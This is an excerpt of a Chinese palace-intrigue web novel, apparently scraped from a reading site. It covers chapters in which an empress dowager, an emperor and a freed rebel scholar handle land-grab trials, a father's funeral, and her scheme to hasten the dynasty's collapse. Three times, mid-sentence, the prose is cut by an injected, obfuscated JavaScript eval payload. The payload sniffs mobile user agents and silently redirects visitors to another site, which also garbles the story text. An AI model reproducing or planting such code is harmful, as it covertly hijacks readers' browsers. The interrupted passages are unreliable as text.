不知道她此刻在做什么。 娄庄姬半梦半醒。她本来强撑精神在读一卷书,但实在是太疲倦了,困倒过去。 屋内烛火摇晃,时明时暗。 忽然,一线人影从她眼前闪过。她本以为自己在做梦。但那人影愈发的近了,一步一步,快要贴到她的脸上。她猛地睁眼,大吃一惊。 来人竟然是本应该留在皇宫的皇甫澍。 34. 剜肉补疮(四) “你怎么来了?” “你不在,宫里空落落的,我心里不安。” 娄庄姬叹了一口气,道:“你可以去陪陪皇后。” “别说这话,你知道我对她一点意思都没有。” 烛火摇曳,朦胧见,美人面容模糊,乍阴乍阳。皇甫澍的手很冰,温柔地滑过她的脸颊。 他伸出双臂搂住她,她却坚决地挣脱。 “别这样。我爹病着。” “我知道。正是因为不能让你一个人难过,我才来的。” “怎么没有人通报?” “我让他们不许声张。只有你大哥知道。” 她皱眉。 “天子深夜微服出宫,于礼不合,你还是快点回去的好。” “我才来,你不能赶我走。我待到早上,清晨一定回去。” “礼法!” “我不在乎礼法。这只是一个笼子,我们是至高无上的,这笼子关不住我们。” 他话音未落,两只结实的手臂已经环绕在她的胸口。他抱得很紧,几乎让她喘不上气。 “不要胡言乱语。” “我都做了皇帝了,为什么还要受限于那么多事?我不是天下至尊吗,我不能为所欲为吗?就算天下人说我私通先帝嫔妃,爱上自己的师父和养母,那就让他们说去吧。只有我惩罚他们,他们能把我怎么样?我就要跟你在一起,时时刻刻在一起。谁说不行我就把他关进天牢。哪怕现在你是太后,我也可以下旨把你变为皇后。” “住口!”娄庄姬慌乱呵道,她谨慎地嗅他的衣袖,只有很淡的酒味。没有多饮酒,怎么会说出醉话来。 “我不住口,我有好多话说不出来,今天我要一并说了。” “你刚刚满口里胡诌的什么?什么谁说不行就把他关进大牢,只有昏君才会这样说,你要做纣王吗,你是不是要把别人的心挖出来?” “昏君?”他笑了,让她毛骨悚然,“谁做了皇帝都是昏君。别忘了是你想让我做皇帝,我做了昏君也是因为你。我不挖别人的心,只挖出来我自己的,给你看。你要不要看?” “不。”她颤抖着。 但皇甫澍的手臂已经松开,徒留恐怖的空荡。 娄庄姬胆颤地转过身,看见他已经脱掉上身的衣服,露出健硕的上身。他从袖口掏出一把小刀,带着诡异的笑容,果断地将小刀刺向胸口。她想捂住眼睛,却动弹不了,大叫一声: “不要!” 她一睁眼,面前是莲蕴惊恐的脸。 “娘娘,您没事吧,怎么出了这么多冷汗?奴婢扶您到床上休息。” 娄庄姬的全身都汗涔涔的,还发冷,梦中的颤栗仍在延续。 “本宫刚刚做了一个梦,不碍事。” 是梦啊。她出发前嘱咐过皇甫澍,让他在宫里好好处理政务。他不会来的。 莲蕴还是担心地看着她。 “坐下吧,陪本宫聊聊天。” “奴婢不敢。” “不要紧。这是本宫娘家,不是在宫里。” 莲蕴犹豫着坐下,但只敢在椅子上放半个屁股,脊柱绷直。 “你觉得当今皇上是个明君吗?” 莲蕴吓得又站起来了。 “别慌别慌,坐下,你但说无妨。” “陛下自然是英明神武、年少有为。” “他孝顺吗?” 莲蕴刚要开口,娄庄姬用一根手指点了一下她的唇,道:“不要站在太后女官的立场说,站在你以前侍奉的柳太后的立场去说。说真话。” “柳太后到最后也没有原谅陛下。奴婢虽然不知为何,但陛下或许真的做了对不起柳太后的事吧。人无完人。柳太后地下有灵,见到陛下如此神武,应该会大感欣慰,原谅陛下。” 娄庄姬苦笑,想起柳慈临终前的一句话。我为你在幽州,日日担惊受怕,却不想你们俩私奔过得快活。我是与你心连心的母亲,却成了你们之间的外人。 她后来也曾设身处地的想,假若皇甫妤长大了,为了一个男人欺瞒她,她应该也不会原谅她的吧,并且比起恨那个男人,会更恨与自己血脉相连的女儿。她一点一点学着去理解柳慈。 “自古忠孝两难全,世上有太多事是迫不得已了,陛下也是如此。莲蕴,你觉得孝顺跟情爱比起来,哪个更重要?“ “自然是孝顺。”她不假思索。 “嗯,没错。而且现在还是本宫探望父亲的时候,你的答案恨妥帖。” “娘娘笑话奴婢呢。” “若有人在孝顺与情爱中选择了后者,你会鄙视他吗?” “娘娘的意思?” “我听你的回答。” “人各有志,那人虽然算不上德行无瑕,奴婢也不会置喙。” “那就是说还是有一点瞧不起?” “是。“莲蕴声音低的像烛火最外层的微光。 “你说的很好,本宫很赞赏你,”她拍拍她的手臂,“不单单只是孝顺,世上有很多事情,都比情爱来得重要。执着于情爱的是痴人,不是聪明人,更不是能成大事的人。” 莲蕴没有跟上她的思维,只是附和着。 娄庄姬知道自己是在说服自己,走出来,醒过来。不仅是从刚刚迷乱的梦中。 “现在是什么时辰了?” “刚过了子时。” “今天也累了,歇息吧。” 莲蕴突然想起一件事。从怀中掏出一份卷宗,递给娄庄姬。 “奴婢忘事了。方才刑部来人,说之前审理逃兵案件的笔录已经抄录好了,特意给娘娘送来。今天已晚,娘娘可以明早再看。” 娄庄姬接过,道:“无妨,本宫刚刚才打了个盹,还不困,就趁现在看了吧。” 她把卷宗拆开,认真读起文件,莲蕴在一旁举着烛台,给她照明。 “还有件事。京师附近郡县的农民,听说卢县那帮人得了您的襄助,心动不已,纷纷涌到京师大门来告状。各地县令拦不住,传了急信过来,说来的人都是无理取闹、贪图便宜的小人,您说好不好笑?” “有这等事?你方才怎么不说?” “奴婢本来进门就想说,见您梦中眉头紧锁,心下慌张,就急忘了。” “那是本宫的不是了。”她轻笑,“这帮狗官,平常欺压百姓没有害怕过,如今把人家逼急了要告他们,他们倒怕了,倒打一耙。” 她越说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985757|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,神色就越严肃: “皇帝的政策出于好心,经过深思考量,怎么就推行不下去?跟这些人见利忘义、玩忽职守脱不开关系,到时候,占了便宜发大财的是他们,落下罪名的是皇帝,受苦受难的是百姓。百姓不干了,大梁的命数也就尽了。” 娄庄姬在心里对比在街头看见的那些面有菜色的饥民,和府上油光满面来讨好她的公卿大臣们,胸中涌起一股沉闷的怒火,却又发泄不出去。她只好继续低头看卷宗。 莲蕴低着头,看见她的表情从严肃,到愤怒,再到惊讶,又到了喜悦。翻过最后一张纸,她抬起头,脸上混杂着叹惋与惊诧。 “真是个奇人啊!” “娘娘在说这个逃兵吗?” “离经叛道,目无尊长,送他这八个字。” 听起来不是什么好评价。但娄庄姬贬词褒用,眼里流露出的分明是欣赏。 “若不是他犯下罄竹难书的大罪,本宫还真想与他聊聊。” “他很有才华吗?” “他很有想法。与朝堂上哪些死气沉沉的老臣相比,就更难得啦。” “娘娘如果喜欢,何不给他个官做,试试他的本事?” “他有罪。而且我们的国家,不一定要用到这么锋利的剑。” 莲蕴似懂非懂,只知道是太后的决定,那就不是她能多言的了。 “咚咚咚”。 急促的敲门声,伴着大哥的声音。 “娘娘,有个拿着您的令牌的人,自称是您的侍卫,还有一个···额,农民,说有急事找您。” “这么晚了?”莲蕴疑惑。 两人走出房间,火把之下,的确是她的侍卫。另一个人,她也认出来了,是白天领头的饥民。 还没等她问话,那个饥民就大声哭嚷道: “太后,那帮狗官的走狗见不得我们伸冤,竟然趁着夜晚召集了一帮打手,要把我们轰出衙门!他们下的都是死手,我们不从,他们的棍棒就不留情。乡亲们本来就饿了许多天,哪有力气还手?被他们殴打,几个身体衰弱的,竟被···竟被活活打死了,还有我的女儿,也死了!求太后您,送佛送上天,去制止他们,严惩那帮畜生!” 他一边说,一边揭开自己身上碎布般的衣服,露出触目惊心的伤口,有的已经淤青,有的还在往外渗着血。 娄庄姬一听,立刻火冒三丈。又想到那个和自己女儿很像的小女孩,竟也丧命于乱棒之下,更觉得眼前一黑。 “你小点声,这是太后娘家,岂容你在这里喧哗!”二哥不耐烦道。 “备好车辇,本宫现在就去衙门,看看是谁那么大胆。”娄庄姬语气沉着,之下却含着深不见底的怒意。 “太后,已经很晚了!”大哥劝道。 “本宫再去晚一点,不知他们又要折损几条人命!”她的语气不容质疑,想劝阻的人也都自觉静默了。 她交代两位兄长,务必照顾好父亲。她处理完这事,立刻就赶回来。 对着莲蕴,她目光深沉,说:“本宫说错了,大梁有一把锋利的剑,只怕还不够医治这沉疴恶疾。” “娘娘何意?” “传我的旨意,释放罪犯卢异。” 35. 剜肉补疮(五) 太后的车马到达衙门大门口时,正好赶上几个凶神恶煞的武生挥舞着长棒,泄愤似地往那些瘦弱的饥民身上打。他们身后,是幸灾乐祸的官吏,百姓们哭天抢地的声音竟然引不起他们一丁点的同情。 没人性的东西。娄庄姬暗骂。 “都给本宫住手!” 她大呵一声,吸引了在场所有人的目光。官吏们一下子面白如纸,直挺挺地跪下。而那些武生似乎沉湎于暴力了,并没有停手。 娄庄姬对侍卫们说: “把那些打人的人的手臂全部给我卸下来。” 侍卫们领命。 那些武生突然感到自己在半空中的手臂被人从后面死死拽住,挥不下来,正准备回头大骂。却没想到一眨眼的工夫,肩膀突然轻了,随之而来的是一阵剧痛。他们哇哇大叫起来,哭爹喊娘。百姓们抬起头看到这血淋淋的一幕,全身发抖。 他们望向前方。娄庄姬衣着华丽,面露凶光,恶狠狠地瞪着他们身后冒汗的官员们。 “你们等着。他们掉的是手臂,你们这些人掉的是脑袋!” 说罢,她径直闯入了衙门大堂。侍卫们领着那些伤痕累累的百姓,跟在后面。那些官员望着在地下呻吟的打手们,面面相觑,不知所措。直到寒光架在他们脖子上,他们才腿发软地挪进了衙门,被扔到了狱里。 第二天,昨晚发生的血腥很快就传遍了街头巷尾,百姓们都在议论此事。从周边几个县涌入京城的百姓被太后下旨放进城来,和京师衙门的事儿一起,交给刑部统一审理。 她派人给皇甫澍传话,调查这些案子,一定不能手软,要选最刚正、最得力的人,决不能使百姓受了冤屈。 此事牵连甚多,一查下来,你中有我我中有你,栽倒一大片在京官员。皇甫澍思虑再三,回复到,他将和丞相狄平亲自审讯处罚。 第一场案是在京师衙门就地审讯的。由狄平主审。娄庄姬在庭后放置一面屏风,嘱咐不要告诉他,自己隐秘地旁听断案的全程。 从狄平一开口,她就知道事情不妙。 他问百姓们: “是谁指使你们上京报案的啊?” “为什么其他人收成好,你们不好呢?” “交税把家底掏空了?怎么可能,你们不是有壮丁吗。那个时候,不知道服兵役可以免税吗?” 他问那些官员们: “你们的手下,死了几个人?” “这些人报官,有案卷记录吗?有走正常流程吗?没有啊。” “什么?他们还敢上街拦太后的车马,真是胆大包天。” 真是生怕别人看不出来他的偏心。娄庄姬越听越恼火,第一次审案结束后,就派人告诉皇甫澍,狄平肯定也没少受官员们的贿赂,让他继续审下去,黑的都得变成白的,必将激起下一波民愤。要么换人,要么场场都由皇帝亲自上阵。 皇甫澍又换了几个人,但不是被贿赂刻意偏袒,就是胆子小,隔靴搔痒不敢往下审。几天下来,只有皇甫澍那儿有一点进展,把几个京官下了狱,革职查抄。 娄庄姬差点儿就准备自己上了。但没等她气消,噩耗传来,娄太公驾鹤西去了。 她呆滞半晌,强忍着眼泪离开衙门,回去奔丧。 娄府已经挂上了白布白幡,请来了做法事的傩巫、超度的僧人,不知疲倦地咏唱着神秘的叹词,祈求死者安息,早日轮回转世。不小的府邸,被这些人和守在那里哭丧的宾客填满,连风都吹不进来。 娄庄姬从两位兄长的眼中看到了真诚的悲伤。三兄妹手牵着手,簇在一起抱头痛哭。即便有些不睦,在这种世间至痛的场景下,血脉之间的联系战胜了一切。 “我没有来得及见父亲最后一面。”她哽咽。 “父亲临终前问了您。听说您在审案,忙得不可开交,就说,好孩子,我没有什么遗憾了。然后就与世长辞了。”大哥眼圈通红,说道。 娄庄姬看向大哥二哥,他们的眼中的悲痛是干净的,没有埋怨。她知道,父亲合眼前,也不会有埋怨。 “天邪!”她哀嚎道。 皇甫澍自作主张给娄太公追封了国公的爵位,两个哥哥已经接旨领命了。葬礼自然是要风光大办,排场不下于当年柳太后,满城银花,铺天盖地,城中春天满树的梨花都不及它纷纷扬扬。 晟王赠送的梓宫用上了。抬出来时,宾客们看着光泽瑰丽的木板,都啧啧称奇,晟王哭肿了眼的脸上也露出得意的色彩。 娄庄姬又一次走进了父亲的房间,物是人非,幔帐之下已经覆盖了一层白布。日光透过窗棂,变得暗淡朦胧,在灰色的地砖上留下一个昏黄的光晕。 她命人把书架上的书籍小心地包装好,送往上阳宫。父亲把爵位和家产留给了两位兄长,把一生的心血和志向留给了她。这份遗产对她来说,过于沉重,使得她现在有点喘不过气,有点憋闷。 父亲让她找到一个人续写。可她遍寻头脑,看不到一个合适的人。 娄太公无意于朝堂争端,不求荣华富贵,也不参与党争。他只是沉默,写书,记下当下发生的伟大或荒诞的一切。 能接续他的遗志的人,也须得这样冷眼旁观,这样尖锐、冷静。 她不免想到在审的案子。满朝文武,竟选不出来一人不与他人勾结,洁身自好,一心为民。那他们每年耗在科举、太学、翰林院上的投入都打水漂了吗?到最后,还要靠皇帝事必躬亲,真是荒谬。 但,她突然一怔,还有一个人,或许有希望。 她问莲蕴: “罪犯卢异出狱否?现在何处?” “遵从您的懿旨,已经放出来了。现在居住在一个士兵家里。我们派了人看守。” 娄庄姬点头,道:“好。即刻摆驾回宫,带他去见我。” 莲蕴惊讶道:“娘娘,您不为国公守灵吗?” “现在朝中事务繁杂,本宫脱不开身。官员有夺情,本宫现在也不得不夺情了。” 她回头看了一眼父亲的床榻。 “父亲会理解的。” 娄庄姬这次回宫的车队收敛了声势,伪装成商户的队伍,闷声从侧门进宫。 卢异早就等在上阳宫了。他书生打扮,靛蓝色的宽袍,米白色的襕衫,发髻松散。洗干净后,一张俊脸写满了厌倦,斜睨着宫中华美的陈设。 娄庄姬一进门,看到他年轻又相貌不凡,跟自己的想象差距很大,吃了一惊。她满心以为这人的长相会跟他的言语一样刁钻尖刻,却没想到是个翩翩公子。 她又看到他瘪着嘴的表情,笑道: “卢先生,我这上阳宫没有你想的那么漂亮吧?” 卢异扭头,看见一个披麻戴孝、不施粉黛的美貌女子,也吓了一跳。转念一想,太后近日丧父,正在丧期,一身缟素也合理。 他作揖,道: “太后不要取笑,皇宫自然是瑶池仙宫,小民今日是大开眼界了。” 娄庄姬赐座,赐茶。 “先生不知,皇宫此前还要更加漂亮,现在都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989867|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是经过几十年风吹雨打之后的老房子了。太祖当年大兴土木,就是为了使大梁皇宫富丽堂皇,史无前例。为此,不知耗费了多少人力物力,据说,国库都要掏空了。劳民伤财,你是不是觉得很不应该?” 卢异犹豫了一下,点了点头。 “其实不光是太祖,此后的每一任帝王,都耗费了巨大的精力财力在修缮、扩建宫殿上。所以这座皇宫一直保持着壮观景象。不光是我大梁,哪一个朝代不是这样?帝王都是死要面子的人,从古到今都没有变过。” “但是百姓为了皇家的面子,一直在受苦。这还只是其中最轻的一种。”卢异道。 娄庄姬见他开始跟上自己的思路,眼底闪过欣喜。 “之前庭审的时候,你说过,谁做皇帝都是昏君。你还这样想吗?” “当然。”他镇静道。 “在你看来没有贤君。那么你觉得应该让谁来管理国家呢?” 卢异稍加思索,道: “不能是皇帝,让大权落于一个人身上。在无法确认那人能力的情况下,生杀允夺仰仗一个人是荒谬的。” “那你是想回到远古禅让制吗?” “不。禅让制会被现在的血脉传承取代,一定有其道理,我并不赞同返古。” “那你的意思?” “小民只知道,现在的制度是腐朽的。我们的国家从根上已经烂掉了。看看最近兼并农田的案子吧,您知道的。” 娄庄姬沉思片刻。卢异神采奕奕,浑身散发着激动的紧张。 “先生觉得,如果一棵树从根上就烂掉了,应该怎么办呢?” “应该将它连根拔起,种上新的树苗。” 娄庄姬抚掌大笑。 “说得好!不愧是奇才!” 卢异的笑愈加放肆。 “可是要怎样连根拔起呢?现在来看是很困难的事吧?” “现在是很困难。但小民觉得,等它再烂一点,腐烂会使它一天一天软化,到了腐烂得差不多的时候,无论使用斧头砍,还是徒手拔起,都不费事。” 娄庄姬点头,又皱起眉头,道:“可若是我嫌它腐烂得太慢了呢?那棵树已经烂了一半了,可仍顽固地树立在那里,周围的一切都深受其害,我们都忍受不了了。” 卢异面露诧异,道:“您的意思是?” “我希望它烂的更快。” 他大惊。 娄庄姬道:“长痛不如短痛。我们可以人为地干预它的进程。” 卢异颤抖了,面前高贵女子的想法,比他迄今为止所思所想的一切都要疯狂。 “如果在下没有理解错…娘娘是认真的吗?” “是。”她笃定。 “这不是一件容易的事,恐怕我们这一代离去后,都不会看到结果。至少百年之内,无人会理解您。娘娘不怕后世史书的责骂批评吗?”这是卢异第一次劝说别人谨慎。 “我不怕。一百年后不懂,千年后,总该有人懂吧。更何况,我们不用等后世的史书指摘。” 她看着疑惑的卢异,让人端上父亲留下的那一书架未完成的史册。 “我们可以写我们自己的。这是我父亲遗留的作品,我现在把它们交给你,你来把它写完。写当下的一切。” 卢异震惊的合不拢嘴,愣在原地一动不动,也没有接过书,也没有向娄庄姬谢恩。 他看向她,眼圈泛红。扯出一个跟他平日里很像的、戏谑的笑,只不过这次,戏谑之下已经地动山摇。 36. 剜肉补疮(六) 罪囚卢异,从被释放到就任京师府尹,领史馆修撰,授正四品正议大夫,仅仅用了五天时间。他们一家被先帝剥夺了科举资格,家境贫寒,他自己只是个落魄的教书先生,当了逃兵造过反。不管从哪个方面看,都没有步入政坛的机会。 朝堂上风言,卢异年纪轻轻,凭恃一副端正的相貌出入上阳宫,使尽了谄媚手段,得到太后青眼,才有今日的翻身。他们一边鄙夷卢异,一边对太后不满,私下议论这个年轻妇人德行不端正,从之前私自出宫就可见端倪,真是梁朝不幸。 皇甫澍的震惊不亚于他们。 卢异进宫后第二天,他就急匆匆地去上阳宫,看见一袭粗麻孝服、头簪白花的娄庄姬正在读一本翻烂了的《春秋》。他顾不得打扰,直接问: “你怎么又放过卢异了?” “我读了卷宗,看了他的陈词,他可以为我们所用,杀了可惜。” 皇甫澍惊讶于她态度巨大的转变,但对于释放卢异这件事情本身并不反对。相反,这正随了他的意。 “好。不过卢异此人过于离经叛道,重用他恐怕引起朝臣不满。何况他对朝廷怨气极重,你同他是怎么说的?他答应为我朝效力吗?” 娄庄姬道:“答应。怨气大算不了什么,我看他的怨气还不一定有我重呢。” 想起这几天迟迟审不动的案子,皇甫澍也叹了一口气。 “满朝文武,竟无一人可用,可叹。” “我打算试试卢异,让他来大显身手。一来证明他的实力,二来让那些利欲熏心的人知道,朝廷是能找来利剑的。” 皇甫澍认同地点头。 他又看向娄庄姬乌黑的发髻间突兀的白花,忧心地说: “国公新丧,你不妨休息几天。” 她沉着地摇头。 “孝始于事亲,中于事君,终于立身。扬名于后世,以显父母。逝者已矣,活人的担子更重,要做的事更多。我没有时间停下来。” 皇甫澍的手搭上她的手。她警觉,咳了一声。 “你的宫人都在外面伺候,看不见。” “人多口杂,万一突然进来一个人,该如何解释呢?” 皇甫澍讪讪地把手收了回去。 “我们都还很年轻,还有很多时间,何必这么辛苦自己?” “我是个很容易着急的人。”她说。 卢异走马上任,接管无人敢接的案子。就在他审案的前一晚,他这个新官就收到了不少高官老臣打的招呼,礼物能放两大箱。他还是住在之前在牢中认识的士兵的家中,他在满满当当的礼物中挑挑拣拣,道: “这些东西不错,都是名贵玩意儿,你可以拿去当聘礼。” “这怎么使得?” “不要紧。贿赂最大的特点,就是送的人不能收回去,我们怎么处置他们都没资格管。喏,这些都给你,那些绸缎给我留几匹,我要裁作新衣服。” 那个士兵名叫刘敖,看着他喜气洋洋的样子,担心道: “你收了他们的礼,就得给他们做事。你不会要委屈那些饥民吧?” 卢异笑笑,道:“那这也是没有办法的事。” 刘敖大惊,上前扯住他的一只胳膊,急问道: “那太后那边你该怎么交代?你不怕她降罪于你吗?” 卢异握住他的手,一字一字地念道:“不会的,这正是太后的想法。” 卢异的宣判很快速。他浏览了一遍先前的卷宗,听了几句双方证词,把该走的流程走完后,一敲惊堂木,下了一个双方各打五十大板的决断。 百姓们被侵占田地,那就让官员们把田都还回去。 官员们欺压百姓,各自降职二阶,罚俸一年,留待观察。 该罚的的罚了,该归还的归还了。可就是让人心里不爽。 领头的百姓说,他们本来就是因为耕地收成不多,交不起税才被迫贱卖土地的,如今一切回到原样,等到明年,他们还是承担不了赋税,相同的事不是又要上演一遍吗?希望大人能多给他们一些地,或者免了他们的税。 卢异回应,他没有免税的权力,做不了主。至于没有土地的问题,他说,当今天下有那么多没有土地的佃户,难道就都活不下去了吗?他们总能找到求生的办法的。 被审的官员们自觉处罚较轻,看来贿赂到位,太后看中的人也没有什么严苛清廉之处,听到他如此敷衍百姓,心中更是一阵窃喜。 底下饥民就有人不干了。 “大人,别的不说,这些狗官打死了人,难道就不该以命偿命吗?你的判决,太轻了些吧!” “对啊,太后亲口说的,要让他们掉脑袋!大人是太后的人,怎么跟太后不是一条心呢?” 卢异变了脸色。 “本官是朝廷的人,不是太后的亲信,休要胡诌!本官没有追究你们当街阻拦凤辇,打伤太后侍卫的事已是仁慈,尔等休要提起旧账,自己给自己惹麻烦!” 民众们咬着牙,嘟囔道: “以为来了个青天老爷,却没想到做官的都是一路货色。” “可恨,真是可恨。” 卢异不理他们的怨诽。之后的几桩案子,也都是相似的判决。官场上是一片狂喜,民间却是怨声载道。可他毕竟把田还给了他们,没办法,农民们今年只好祈求老天爷赏脸,能得一片好收成,明年能交上税,攒点粮,就还有盼头。 老百姓只要有土地,就还有一丝希望,有希望悬在颈上,即使有不满,也不会造反。 死了人,少了劳动力,没有办法,邻居之间搭把手,你帮忙种我的,我帮忙看你的,彼此扶持,日子总能过下去。偶尔再想着天高皇帝远,心里骂那皇帝小儿和狗官们一顿,解了气咬咬牙再撑一年。 皇帝的名声臭了,谁最关心?当然是皇帝本人。 皇甫澍听闻卢异的判决,又惊又怒。再一次闯进了上阳宫,脸上带着愠色。 “这个卢异怎么回事?我本以为他是嫉恶如仇的士人,结果呢?才刚进官场,那些坏毛病就染了一身,他必然是受了那些人的贿赂,包庇贪官,和狄平那些人又什么区别?” 娄庄姬很淡定,道: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997344|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你希望他怎么做?” “那些官员该砍头的砍头,该罢官的罢官。百姓们的田自然要还,把那些人侵占的所有土地一并还了,如有必要,免税资助也是可行的。” “然后呢?” “还有然后?”皇甫澍不解。 “附近几个县的百姓的委屈只是全国百姓所受委屈的最小一部分。在我们看不到的地方,他们受到的欺压更狠。在京师周围的百姓可以上京告状,更远地方的怎么办?你怎么帮他们?” “那就全国整治。” “你之前严惩贪官成功了吗,处治了几个?” 皇甫澍噎住了。 “皇帝的权力很大,也很小。有些事情你就是做不到,比如消灭这些蛀虫。” 皇甫澍沉吟片刻,道:“那我就能救一方是一方吧。” 娄庄姬苦笑道:“救他们,就要得罪你的臣子。你要记住,国库的真正命脉不是掌握在你手里,是掌握在你的臣子手里的。经过他们层层盘剥,流入国库的银子还剩几两?你要会利用他们,让他们自愿把钱交上来,而不是把他们逼急了。” “堂堂天子,竟然要受制于臣。难道我什么也做不了吗?” “你要做什么?” “我想为百姓谋福利。以前在幽州,我可以领兵打仗,杀退外敌,护佑一方生民。到如今,却连自己脚边的百姓都护不了了。”他苦涩道,“这样一想,卢异说的对,所有的皇帝都是昏君,受天下之养,却不能庇佑万民。” “卢异有很多说的很对的话。”她说,“他的话里只有一句我不认同,就是大梁非亡不可。我不信,我要让大梁活下去。” 皇甫澍的眼睛里充满着疑虑。 “卢异目无君上,这我知道。可这未免太过火了。” “他说的也不无道理。你看看,我们还能支撑多久?以前是道士兼并土地,霸占私田;现在道士没了,我们领着俸禄的官员重操他们的旧业,鱼肉百姓。我们的政策推行不下去,一是臣子懈怠,二是国库也不足以支撑。政策不能推行,国家就越萎靡;国家越萎靡,改良的政策就越阻力重重。这样下去,倒真是如他所说,只有亡国这一条路了。” 皇甫澍专心地听着,就像少年时听她授课。 “你的想法,是在百姓们在盘剥碾压下受苦的时候,给他们一碗饭、一壶水,吊着他们奄奄一息的性命,然后继续受着永世也受不尽的苦难。我不愿这样,卢异也不愿这样。” 皇甫澍警觉。 “你的意思,卢异的做法都是你默许的?” 娄庄姬点头。 “他不听我的,我也不会用他。当然,肯定是因为他跟我投契,我才会信任他。 皇甫澍的眉头拧紧了。这次的重用与先前重用狄平不同。她吊着狄平,如同用肉吊着一条贪婪的狗。任用卢异,却是真正的志趣相投。 “那么,又为什么要放任他不为百姓做主。” 娄庄姬放下了一直捧在手里的茶杯,神情郑重。 “我和他在做一件事,一件过在当下,功在千秋的事。” 37. 剜肉补疮(七) 皇甫澍一惊,忘了奇怪她又背着他做事,先向前探身子问道: “什么事?” 娄庄姬打了一个比方,道:“好比消灭杂草,一根一根拔掉是没用的,只有放一把火,连同苗禾一并烧了,方能干净。等烧完之后,我们再种新的草。” 皇甫澍感到这是个很可怕的念头,但仍不了解详细。 娄庄姬接着解释道: “我们的国家已经腐朽得不堪一击了,只剩一副还有些余威的空壳。我们继承下来的一切都不再管用,我们要换新汤,只能以毒攻毒。长痛不如短痛,我准备···” “准备什么···?” “让百姓们乱起来。” 皇甫澍浑身震颤,面白如纸。 “像我们这样下去,不过几十年后,他们必将生活在水深火热之中,倒不如我们把时机提前。我们将情况推入绝境,过去的历史已经告诉我们了,绝境之中才有破局之法。” 娄庄姬一双凤眼睁得大大的,闪烁着光彩。皇甫澍爱极了她的眼睛,此刻却被这光芒射得害怕。 “推入什么样的绝境?” “当百姓和我们已经势不两立的时候。” 皇甫澍冷笑:“这不就是找个理由光明正大地欺压百姓吗?” “所以,”娄庄姬站起,俯视着他,“此事过在当下,功在千秋。我们是不得不背这个骂名的。” 皇甫澍也站起来。他比她高出一个头,锐利的眼睛燃着压抑的怒火,直视着她。 “虚伪。”他声音很轻,咬字很重。 娄庄姬扶着桌面站稳。 “我心意已决。” “你可知这样会有什么后果?” “百年之后,贪官污吏、荼毒百姓的人会消失在这片土地上。” “你能够确定吗?” “我们得试试。不然什么都不会变。” “那现在的百姓怎么办?他们要为了百年后的子孙牺牲吗?” “总得有人做出牺牲。若不如此,一直止步不前,痛苦也绵延不绝。我们此前所有为了民生福祉的做法,不过是剜肉补疮之计,到最后,身上一块好肉都不剩,结局是一样的。你还记得我刚刚说的吗,我们要放一场大火,然后种出一片新的田地。” “你说的对。但是你放火烧的不是草,是人命。”皇甫澍眼圈红了,不知是因为悲伤还是因为愤怒。 娄庄姬凝视着她,露出一副大义凛然的表情。 “我们害的人命还少吗?多少官员领着朝廷的俸禄,干着作践百姓的事?你以为自己是清白的,可不知情中害了你的无数臣民。” “我是他们的君父。无论我能力是否足够庇佑他们,首先我自己心中不能存心害他们。我要民心,在我活着的时候,能保护他们一分就是一分。” 娄庄姬嘴唇轻颤。皇甫澍正以为自己说动她了,却没想到她眉头紧皱,愈发痛心疾首。 “自私,你自私。你凭什么想维护自己君父的好形象呢?凭什么想得到天下人的心呢?天下人本来不需要敬仰爱戴任何人,他们的心是他们自己的,不用放在任何人身上。” 皇甫澍觉得眼前天旋地转,他一把钳住了娄庄姬瘦削的双肩,用力之大,简直将指尖嵌入了她的肉里。他红着眼睛,质问道: “你不但把我逼上这个皇位,还想把我逼成实现你荒唐计划的昏君、恶君?你心里有一点盼着我好吗?你对任何人都无情,对我尤其!你想让我当你的傀儡吗?我现在不愿意了,我让人去把天子冠冕取过来,送到你手上,你找一个听你话的人去当皇帝吧,让别人来背负骂名吧。我要去幽州,我只想保护我的一方百姓,在你的大火下,总该还有一片净土,可供他们安居乐业。” 娄庄姬的双肩已经疼到麻木,她不敢直视皇甫澍滚滚流出泪水的眼睛,但仍不依不饶,坚定道: “你目光短浅,只顾一时安乐,可曾想过后世生民该如何立命?” 皇甫澍几乎是在她耳边嘶吼: “我就是目光短浅,你看不出来吗?我不愿意争储君,不愿意做皇帝,我只想在幽州有个小家,游山玩水安度此生,是你把我逼到这条路上的!你当初为什么要到冷宫,没有你来,我情愿跟母亲在冷宫过一辈子,也好过现在这样,处处为难!” 娄庄姬一根一根掰开他箍在她肩头的手指,目光冷酷。 